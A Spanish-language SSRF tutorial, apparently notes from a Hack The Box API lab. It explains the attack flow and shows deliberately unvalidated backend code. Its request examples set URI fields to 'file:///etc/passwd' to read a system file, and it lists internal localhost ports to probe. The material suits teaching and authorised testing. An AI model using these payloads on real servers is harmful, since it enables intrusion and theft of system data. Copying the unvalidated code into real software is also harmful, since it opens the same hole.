Es una vulnerabilidad donde un atacante puede hacer que el servidor realice peticiones HTTP a cualquier destino (interno o externo) elegido por él, aprovechándose de que el servidor generalmente tiene acceso a redes internas protegidas.
Flujo Normal vs Ataque SSRF:
c
FLUJO NORMAL:
Usuario → [URL válida] → Servidor → [Recurso externo legítimo] → Respuesta → Usuario
FLUJO SSRF:
Usuario → [URL maliciosa] → Servidor → [Recurso interno/arbitrario] → Respuesta → UsuarioEjemplo
Entrada Controlada por el Usuario
c
// El endpoint permite actualizar una URI de archivo
PATCH /api/v1/supplier-companies
{
"SupplierCompanyID": "b75a7c76-e149-4ca7-9c55-d9fc4ffa87be",
"CertificateOfIncorporationPDFFileURI": "file:///etc/passwd" // ← Controlado por usuario
}El Servidor Confía y Accede
c
# Código vulnerable en el backend
def update_certificate_uri(company_id, file_uri):
# SIN VALIDACIÓN - confía en la URI proporcionada
company = SupplierCompany.get(company_id)
company.certificate_uri = file_uri # Guarda la URI maliciosa
company.save()Otro Endpoint Lee y Muestra el Archivo
c
// Endpoint que lee y devuelve el archivo
GET /api/v1/supplier-companies/{ID}/certificates-of-incorporation
// El servidor:
1. Lee la URI guardada: "file:///etc/passwd"
2. Accede al sistema de archivos local
3. Lee /etc/passwd
4. Lo codifica en Base64 y lo devuelveAtacante Recibe Datos Sensibles
c
# Respuesta con contenido de /etc/passwd
{
"success": true,
"base64Data": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA..."
}
# Decodificado en CyberChef → Contenido completo del archivoAcceso a Servicios Internos
c
// Escaneo de puertos internos
http://localhost:22 # SSH
http://127.0.0.1:3306 # MySQL
http://localhost:5432 # PostgreSQL
http://127.0.0.1:6379 # Redis
http://localhost:9200 # Elasticsearchc
{
"supplier": {
"id": "5d489453-3538-4973-9479-2c37b2a5db73",
"companyID": "b75a7c76-e149-4ca7-9c55-d9fc4ffa87be",
"name": "HTBPentester11",
"email": "htbpentester11@pentestercompany.com",
"phoneNumber": "+44 9998 999992"
}
}
{
"UpdatedProduct": {
"SupplierID": "5d489453-3538-4973-9479-2c37b2a5db73",
"ProductID": "e789d8ed-e643-48ef-891f-f4815b4ef964",
"Name": "string",
"Price": 6,
"PNGPhotoFileURI": "file:///etc/passwd"
}
}